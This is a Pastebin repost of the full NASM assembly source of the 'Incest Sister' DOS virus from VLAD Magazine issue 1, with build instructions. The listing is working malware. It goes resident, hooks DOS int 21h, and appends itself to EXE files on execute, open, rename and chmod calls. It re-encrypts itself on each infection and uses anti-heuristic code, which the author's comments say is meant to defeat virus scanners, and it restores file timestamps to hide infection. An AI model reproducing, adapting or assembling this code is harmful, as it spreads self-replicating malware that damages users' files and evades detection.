FlyFar

VLAD Magazine - Issue #1 - ARTICLE.3_4 - Incest Sister Virus Source

Jul 2nd, 2023
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 44.60 KB | Cybersecurity | 0 0
  1.                                                                              
  2. ;   �������������������������������������������������������������Ŀ          
  3. ;   �                     Incest Sister Virus                     �          
  4. ;   ���������������������������������������������������������������          
  5.                                                                              
  6.                                                                              
  7.                                                                              
  8. ; Uses encryption.  EXE infection only.  I think it's 7XX bytes long.        
  9. ; Unsure how long exactly...  Manually allocates memory. TSR.                
  10. ; Infects on Rename, Chmod, Open, Extended Open and Execute.                  
  11. ; Anti-debugging and Anti-heuristic code developed here.                      
  12.                                                                              
  13. ; To add:      Code efficiency.   (Nah, fuck it! :)                          
  14.                                                                              
  15. ; Assemble using 'a86 +o sister.asm', 'link sister;'                          
  16.                                                                              
  17.                                                                              
  18.                                                                              
  19. dummy           segment                                                      
  20. assume cs:dummy,ds:data_seg,ss:stack_seg                                      
  21. dumb    proc    far                                                          
  22. dumdum:                                                                      
  23.                mov     ax,4c00h                ;The dummy infectee.          
  24.                int     21h                     ;When the virus finishes      
  25.                                                ;it returns here.              
  26. dumb    endp                                                                  
  27. dummy           ends                                                          
  28.                                                                              
  29.                                                                              
  30.                                                                              
  31. stack_seg       segment stack                  ;Stack segment                
  32.        db        1000    dup (0)                                              
  33. stack_seg       ends                                                          
  34.                                                                              
  35. data_seg        segment                        ;Another crappy segment of    
  36.        db      'stuff'                         ;no use to anyone...          
  37. data_seg        ends                                                          
  38.                                                                              
  39.                                                                              
  40. code_seg        segment                                                      
  41. assume cs:code_seg,ds:data_seg,ss:stack_seg                                  
  42. main    proc    far                                                          
  43.                                                                              
  44. entry:                                                                        
  45.                                                                              
  46.        call    crap_ret                                ;Get IP                
  47.                                                                              
  48. return_here:                                   ;Where the ret will return.    
  49.                                                                              
  50.        mov     word ptr cs:[si+offset orig_sp],sp      ;Save the stack.      
  51.        mov     word ptr cs:[si+offset orig_ss],ss                            
  52.                                                                              
  53.        mov     word ptr cs:[si+offset quit], 20cdh     ;Fuck all scanners.    
  54. quit:                                                                        
  55.                                                                              
  56.        cli                                     ;Ints off while fucking with  
  57.        mov     dx,cs                           ;the stack.                    
  58.        mov     ss,dx                                                          
  59.        mov     sp,si                                                          
  60.        add     sp,offset stackend                                            
  61.        sti                                                                    
  62.                                                                              
  63.        ;Run decryption                                                        
  64.                                                                              
  65.        mov     al,byte ptr cs:[si+encryptor]   ;Setup the encryption.        
  66.        push    si                                                            
  67.        add     si,offset enc_start                                            
  68.                                                                              
  69.        call    encrypt                                 ;Decrypt.              
  70.                                                                              
  71.        pop     si                                      ;Restore SI            
  72.                                                                              
  73. enc_start:                                     ;Start encrypting here.        
  74.                                                                              
  75.        ;do stuff                                                              
  76.                                                                              
  77.        push    ax                                                            
  78.        push    bx                                                            
  79.        push    cx                                                            
  80.        push    dx                              ;Save everything.              
  81.        push    ds                                                            
  82.        push    es                                                            
  83.        push    si                                                            
  84.        push    di                                                            
  85.                                                                              
  86.        ;Residency check goes in here...                                      
  87.                                                                              
  88.        mov     ah,61h                         ;Sis!(ter)                      
  89.        mov     di,'SI'                                                        
  90.        mov     bx,'S'                                                        
  91.        int     21h                                                            
  92.                                                                              
  93.        cmp     cx,'SI'                                                        
  94.        jne     not_installed                                                  
  95.        cmp     dx,'S'                                                        
  96.        jne     not_installed                                                  
  97.        jmp     jend                            ;Already in memory - exit.    
  98.                                                                              
  99. not_installed:                                                                
  100.                                                                              
  101.        xor     ax,ax                           ;Segment 0... where the        
  102.        mov     es,ax                           ;interrupt table lurks...      
  103.                                                                              
  104.        mov     ax,word ptr es:[132]            ;Put int21 in i21...          
  105.        mov     word ptr cs:[si+offset i21],ax                                
  106.        mov     word ptr cs:[si+offset int21_2],ax                            
  107.        mov     ax,word ptr es:[134]                                          
  108.        mov     word ptr cs:[si+offset i21 +2],ax                              
  109.        mov     word ptr cs:[si+offset int21_2 + 2],ax                        
  110.                                                                              
  111.                                                                              
  112. ;Check for incest family marker here...                                      
  113.                                                                              
  114.        mov     ah,61h                         ;Sis!(ter)                      
  115.        mov     di,'IN'                                                        
  116.        int     21h                                                            
  117.                                                                              
  118.        cmp     di,'NI'                                                        
  119.        jne     not_incest                                                    
  120.                                                                              
  121.        mov     word ptr cs:[si+offset int21_2],cx      ;Pass through the      
  122.        mov     word ptr cs:[si+offset int21_2+2],dx    ;original int21h      
  123.                                                        ;from another family  
  124.                                                        ;member already        
  125.                                                        ;resident.            
  126. not_incest:                                                                  
  127.                                                                              
  128. ;Make the Virus go TSR!                                                      
  129.                                                                              
  130.        push    cs                                                            
  131.        pop     es                              ;ES=CS                        
  132.                                                                              
  133.        mov     ax,ds                                                          
  134.        dec     ax                                                            
  135.        mov     es,ax                           ;MCB segment.                  
  136.        cmp     byte ptr es:[0],5ah             ;'Z'                          
  137.        jne     jend                                                          
  138.        sub     word ptr es:[3],120                                            
  139.        sub     word ptr es:[12h],120           ;120*16 bytes less memory.    
  140.                                                                              
  141.        mov     ax,es:[12h]                     ;Make our virus last chain    
  142.        mov     es,ax                                                          
  143.        mov     byte ptr es:[0],5ah             ;Setup our own MCB            
  144.        mov     word ptr es:[1],8               ;Owner=DOS                    
  145.        mov     word ptr es:[3],1500            ;Segment size                  
  146.        inc     ax                                                            
  147.        mov     es,ax                                                          
  148.        mov     di,offset entry                                                
  149.        mov     cx,length                       ;virus size                    
  150.        push    cs                                                            
  151.        pop     ds                                                            
  152.        push    si                                                            
  153.        rep     movsb                           ;Move virus.                  
  154.        pop     si                                                            
  155.                                                                              
  156.        mov     bx,es                           ;Save virus segment            
  157.                                                                              
  158.        xor     ax,ax                           ;segment of vector table      
  159.        mov     es,ax                                                          
  160.                                                                              
  161.        mov     ax,offset infection             ;change vector table to point  
  162.        cli                                                                    
  163.        mov     word ptr es:[132],ax            ;to our virus...              
  164.        mov     word ptr es:[134],bx                                          
  165.        sti                                                                    
  166.                                                                              
  167. jend:                                                                        
  168.                                                                              
  169.        pop     di                                                            
  170.        pop     si                                                            
  171.        pop     es                                                            
  172.        pop     ds                              ;Restore all.                  
  173.        pop     dx                                                            
  174.        pop     cx                                                            
  175.        pop     bx                                                            
  176.        pop     ax                                                            
  177.                                                                              
  178.        ;add es,10h                                                            
  179.                                                                              
  180.        mov     dx,es                           ;EXE starts at PSP+10h        
  181.        add     dx,10h                                                        
  182.                                                                              
  183.        ;add original offset of cs in paragraphs.                              
  184.                                                                              
  185.        add     word ptr cs:[si+jump+2],dx                                    
  186.                                                                              
  187.        ;now you have your cs to jump to                                      
  188.        ;move it where we want it then jump to it.                            
  189.                                                                              
  190.        cli                                                                    
  191.                                                                              
  192.        mov     sp,word ptr cs:[si+orig_sp]     ;Restore stack                
  193.        mov     ss,word ptr cs:[si+orig_ss]                                    
  194.                                                                              
  195.        sti                                                                    
  196.        xor     dx,dx                                                          
  197.        xor     si,si                                                          
  198.                                                                              
  199.        db      0eah                    ;JMPF                                  
  200.                                                                              
  201.        jump    dw      0                                                      
  202.                dw      0                                                      
  203.                                                                              
  204.                                                                              
  205.        ;###### Here is the Details ######                                    
  206.                                                                              
  207. Virus_Name      db      '[Incest Sister]',0                                  
  208. Author          db      'by VLAD - Brisbane, OZ',0                            
  209.                                                                              
  210.                                                                              
  211.                                                                              
  212. infection       proc    far                                                  
  213.                                                                              
  214.        cmp     ah,4bh                  ;Execute.                              
  215.        je      test_exe                                                      
  216.        cmp     ah,43h                  ;Chmod.                                
  217.        je      test_exe                                                      
  218.        cmp     ah,56h                  ;Rename.                              
  219.        je      test_exe                                                      
  220.        cmp     ax,6c00h                ;Extended open.                        
  221.        je      test_exe                                                      
  222.        cmp     ah,3dh                  ;Normal open.                          
  223.        je      test_exe                                                      
  224.                                                                              
  225.                                        ;Residency test.                      
  226.        cmp     ah,61h                                                        
  227.        jne     not_testing                                                    
  228.        cmp     di,'SI'                                                        
  229.        jne     chk4incest                                                    
  230.        cmp     bx,'S'                                                        
  231.        jne     not_testing                                                    
  232.        mov     cx,'SI'                                                        
  233.        mov     dx,'S'                  ;Return test parameters.              
  234.                                                                              
  235.        iret                                                                  
  236.                                                                              
  237. chk4incest:                                                                  
  238.                                                                              
  239.        cmp     di,'IN'                                                        
  240.        jne     not_testing                                                    
  241.        mov     di,'NI'                         ;Incest Marker...              
  242.        mov     cx,word ptr cs:[int21_2]                                      
  243.        mov     dx,word ptr cs:[int21_2 + 2]    ;Pass original int21h out.    
  244.        iret                                                                  
  245.                                                                              
  246. not_testing:                                                                  
  247.                                                                              
  248.        jmp     far_tsr_end                                                    
  249.                                                                              
  250. test_exe:                                                                    
  251.                                                                              
  252.        push    ax                                                            
  253.        push    bx                                                            
  254.        push    cx                                                            
  255.        push    dx                                                            
  256.        push    ds                                                            
  257.        push    es                                                            
  258.        push    si                                                            
  259.        push    di                                                            
  260.                                                                              
  261.        cmp     ah,6ch                          ;Extended open.                
  262.        jne     no_fix_6c                                                      
  263.        mov     dx,si                           ;Small alteration for 61h      
  264.                                                                              
  265. no_fix_6c:                                                                    
  266.        cld                                     ;Clear Direction Flag.        
  267.        mov     si,dx                           ;Filename being executed.      
  268.        dec     si                                                            
  269. find_ascii_z:                                                                
  270.        inc     si                                                            
  271.        cmp     byte ptr ds:[si],0              ;Find end of ASCIIZ name.      
  272.        jne     find_ascii_z                                                  
  273.                                                                              
  274.        sub     si,4                            ;Length of '.EXE'              
  275.                                                                              
  276.        cmp     word ptr ds:[si],'E.'                                          
  277.        je      exe_found1                                                    
  278.        jmp     f_pop_exit                                                    
  279.                                                                              
  280. exe_found1:                                                                  
  281.                                                                              
  282.        cmp     word ptr ds:[si+2],'EX'         ;Test for '.EXE'              
  283.        je      exe_found2                                                    
  284.                                                                              
  285. really_crappy_pop_jump:                                                      
  286.                                                                              
  287.        jmp     f_pop_exit                      ;Cant jxx 127+ bytes so use    
  288.                                                ;this...                      
  289.                                                                              
  290. exe_found2:                                                                  
  291.                                                                              
  292.        mov     ax,3d02h                        ;Open!                        
  293.        call    int21h                                                        
  294.                                                                              
  295.        jc      really_crappy_pop_jump                                        
  296.                                                                              
  297.        mov     bx,ax                           ;File handle.                  
  298.                                                                              
  299.        xor     ax,ax                                                          
  300.        mov     es,ax                                                          
  301.        mov     ax,word ptr es:[144]                                          
  302.        mov     word ptr cs:[i24],ax                                          
  303.        mov     ax,word ptr es:[146]                                          
  304.        mov     word ptr cs:[i24+2],ax          ;Save int24h                  
  305.        mov     word ptr es:[144],offset int24h                                
  306.        mov     es:[146],cs                     ;Cool handler!                
  307.                                                                              
  308.        ;read in header                                                        
  309.                                                                              
  310.        push    cs                                                            
  311.        pop     ds                              ;DS=CS                        
  312.                                                                              
  313.        mov     ax,5700h                                                      
  314.        call    int21h                          ;Save the file date for        
  315.                                                ;later use.                    
  316.                                                                              
  317.        mov     filetime,cx                     ;File date and Time.          
  318.        mov     filedate,dx                                                    
  319.                                                                              
  320.        mov     ah,3fh                                                        
  321.        mov     cx,1ah                                                        
  322.        mov     dx,offset header                ;Read the header in here.      
  323.        call    int21h                                                        
  324.                                                                              
  325.        mov     si,offset header                ;Index to the header.          
  326.                                                                              
  327.        cmp     word ptr [si+12h],'SI'          ;Our 'sister' marker.          
  328.        jne     clean_file                                                    
  329.                                                                              
  330.        jmp     far_close_exit                                                
  331.                                                                              
  332. clean_file:                                                                  
  333.                                                                              
  334.        mov     cx,word ptr [si]                ;MZ header.                    
  335.        add     ch,cl                           ;Add M+Z = 167.                
  336.        cmp     ch,167                                                        
  337.        je      good_exe                                                      
  338.                                                                              
  339.        jmp     far_close_exit                                                
  340.                                                                              
  341.        ;convert headersize to bytes                                          
  342.                                                                              
  343. good_exe:                                                                    
  344.                                                                              
  345.        mov     ax,word ptr [si+8]                                            
  346.        mov     cl,4                                                          
  347.        shl     ax,cl                           ;Mul by 16 - paragraphs        
  348.                                                                              
  349.        mov     word ptr hsize,ax               ;Header size in bytes.        
  350.                                                                              
  351.        ;save original cs & ip for later use                                  
  352.                                                                              
  353.        mov     ax,word ptr [si+14h]                                          
  354.        mov     word ptr jump,ax                                              
  355.        mov     ax,word ptr [si+16h]                                          
  356.        mov     word ptr jump+2,ax                                            
  357.                                                                              
  358.        ;end of file                                                          
  359.        mov     ax,4202h                        ;Go to EOF.                    
  360.        xor     cx,cx                                                          
  361.        xor     dx,dx                                                          
  362.        call    int21h                                                        
  363.                                                                              
  364.        ;get file length                                                      
  365.                                                                              
  366.        ;convert length to paragraph/offset form                              
  367.                                                                              
  368.        sub     ax,word ptr hsize                                              
  369.        sbb     dx,0                                                          
  370.                                                                              
  371.        mov     cx,10h                                                        
  372.        div     cx                                                            
  373.                                                                              
  374.        ;write to header                                                      
  375.                                                                              
  376.        mov     word ptr [si+14h],dx            ;New IP/CS                    
  377.        mov     word ptr [si+16h],ax                                          
  378.                                                                              
  379.        ;fix up encryption                                                    
  380.                                                                              
  381.        push    si                                                            
  382.                                                                              
  383.        mov     word ptr quit,8cfah             ;Fixup from our 'int 20h' bit  
  384.                                                                              
  385.        cmp     byte ptr encryptor,0ffh                                        
  386.        jne     not_zero                                                      
  387.        inc     byte ptr encryptor                                            
  388. not_zero:                                                                    
  389.        inc     byte ptr encryptor              ;Change the encryptor to fuck  
  390.        mov     al,byte ptr encryptor           ;up all those signature        
  391.                                                ;scanners...                  
  392.        push    cs                                                            
  393.        pop     es                                                            
  394.                                                                              
  395.        mov     si,offset entry                 ;Copy code to end of TSR      
  396.        mov     di,offset stackend              ;so we can encrypt it.        
  397.        mov     cx,length                       ;Virus Size.                  
  398.        rep     movsb                           ;Move it!                      
  399.                                                                              
  400.        mov     si,offset stackend              ;Find the offset of            
  401.        add     si,offset enc_start             ;the encryption start.        
  402.                                                                              
  403.        call    encrypt                         ;Encrypt it.                  
  404.                                                                              
  405.        pop     si                              ;Restore it.                  
  406.                                                                              
  407.        ;write virus to eof                                                    
  408.                                                                              
  409.        mov     ah,40h                                                        
  410.        mov     cx,length                       ;Virus Size                    
  411.        mov     dx,offset stackend                                            
  412.        call    int21h                                                        
  413.                                                                              
  414.                                                                              
  415.        jc      far_close_exit                                                
  416.                                                                              
  417.        ;get new file length                                                  
  418.                                                                              
  419.        mov     ax,4202h                        ;EOF again.                    
  420.        xor     cx,cx                                                          
  421.        xor     dx,dx                                                          
  422.        call    int21h                                                        
  423.                                                                              
  424.        ;work out number of pages and write to header                          
  425.                                                                              
  426.        push    dx                              ;Save them.                    
  427.        push    ax                                                            
  428.                                                                              
  429.        mov     cx,512                          ;Page Size = 512.              
  430.        div     cx                                                            
  431.        inc     ax                                                            
  432.                                                                              
  433.        mov  word ptr [si+4],ax                 ; new file size                
  434.                                                                              
  435.        pop     ax                                                            
  436.        pop     dx                                                            
  437.                                                                              
  438.        sub     ax,word ptr hsize                                              
  439.        sbb     dx,0                                                          
  440.        mov     cx,512                                                        
  441.        div     cx                                                            
  442.                                                                              
  443.        mov  word ptr [si+2],dx                 ;Size of last page.            
  444.                                                                              
  445.        mov     ax,4200h                        ;Start of file.                
  446.        xor     cx,cx                                                          
  447.        xor     dx,dx                                                          
  448.        call    int21h                                                        
  449.                                                                              
  450.        mov     word ptr [si+12h],'SI'          ;Put Marker into header.      
  451.                                                                              
  452.        mov     ah,40h                          ;Write header.                
  453.        mov     dx,offset header                                              
  454.        mov     cx,1ah                                                        
  455.        call    int21h                                                        
  456.                                                                              
  457.        mov     ax,5701h                        ;Restore file time.            
  458.        mov     cx,filetime                                                    
  459.        mov     dx,filedate                                                    
  460.        call    int21h                                                        
  461.                                                                              
  462. far_close_Exit:                                                              
  463.                                                                              
  464.        mov     ah,3eh                          ;Close file.                  
  465.        call    int21h                                                        
  466.                                                                              
  467.        xor     ax,ax                                                          
  468.        mov     es,ax                           ;Interrupt vector table at    
  469.        mov     ax,word ptr cs:[i24]            ;Segment 0.                    
  470.        mov     es:[144],ax                                                    
  471.        mov     ax,word ptr cs:[i24+2]                                        
  472.        mov     es:[146],ax                     ;Reset int 24h                
  473.                                                                              
  474. f_pop_exit:                                                                  
  475.                                                                              
  476.        pop     di                                                            
  477.        pop     si                                                            
  478.        pop     es                                                            
  479.        pop     ds                                                            
  480.        pop     dx                              ;Restore everything.          
  481.        pop     cx                                                            
  482.        pop     bx                                                            
  483.        pop     ax                                                            
  484.                                                                              
  485. far_tsr_end:                                                                  
  486.       ; jmp     dword ptr cs:[i21]                                            
  487.        db 0eah                                 ;Self modifying code here.    
  488.        i21     dd      0                                                      
  489.                                                                              
  490.        hsize           dw      0               ;Header size in bytes.        
  491.        filedate        dw      0               ;File date.                    
  492.        filetime        dw      0               ;File time.                    
  493.                                                                              
  494. int24h  proc    near    ;Stops embarassing error messages on write protected  
  495.                         ;diskettes...                                        
  496.                                                                              
  497.                mov     al,3                                                  
  498.                iret                                                          
  499. int24h  endp                                                                  
  500.                                                                              
  501.                i24     dd      0               ;Original int24h              
  502.                                                                              
  503.                                                                              
  504. int21h  proc    near                            ;False int21h                
  505.                                                                              
  506.        pushf                                                                  
  507.        db      9ah                             ;'Call far ptr' opcode.        
  508.        int21_2 dd      0                       ;Save second int 21h here...  
  509. enc_end:                                                                      
  510.        ret                                                                    
  511.                                                                              
  512. int21h  endp                                                                  
  513.                                                                              
  514. encrypt proc    near                                                          
  515.                                                                              
  516. ;       SI = offset of bit to be encrypted.                                  
  517. ;       AL = encryptor.                                                      
  518.                                                                              
  519.        push    cx                                                            
  520.                                                                              
  521.        mov     cx,offset enc_end - offset enc_start                          
  522.                                                                              
  523. enc_loop:                                                                    
  524.                                                                              
  525.        xor     byte ptr cs:[si],al                                            
  526.        inc     si                                                            
  527.        ror     al,1                                                          
  528.        neg     al                                                            
  529.        loop    enc_loop                                                      
  530.                                                                              
  531.        pop     cx                                                            
  532.                                                                              
  533.        ret                                                                    
  534.                                                                              
  535. encrypt endp                                                                  
  536.                                                                              
  537.        encryptor       db      0                                              
  538.                                                                              
  539.        orig_sp dw      0                                                      
  540.        orig_ss dw      0                                                      
  541.                                                                              
  542. crap_ret        proc    near           ;Crappy 'Ret' routine to get IP.      
  543.        mov     bp,sp                                                          
  544.        mov     si,word ptr ss:[bp]     ;SS:SP = IP                            
  545.        sub     si,offset return_here                                          
  546.        xor     bp,bp                                                          
  547.        ret                                                                    
  548. crap_ret        endp                                                          
  549.                                                                              
  550.                                                                              
  551. ;Storage for the EXE header.                                                  
  552.                                                                              
  553. header:                                                                      
  554.        db 1ah dup (0)                                                        
  555.                                                                              
  556. ;The temporary stack.                                                        
  557.                                                                              
  558. stackseg  db 100 dup (0)                                                      
  559. stackend  db 0                                                                
  560.                                                                              
  561. ;Equ's!                                                                      
  562.                                                                              
  563. length equ offset header                                                      
  564.                                                                              
  565. infection       endp                                                          
  566. main    endp                                                                  
  567. code_seg        ends                                                          
  568.         end                                            
Tags: virus vlad
Add Comment
Please, Sign In to add comment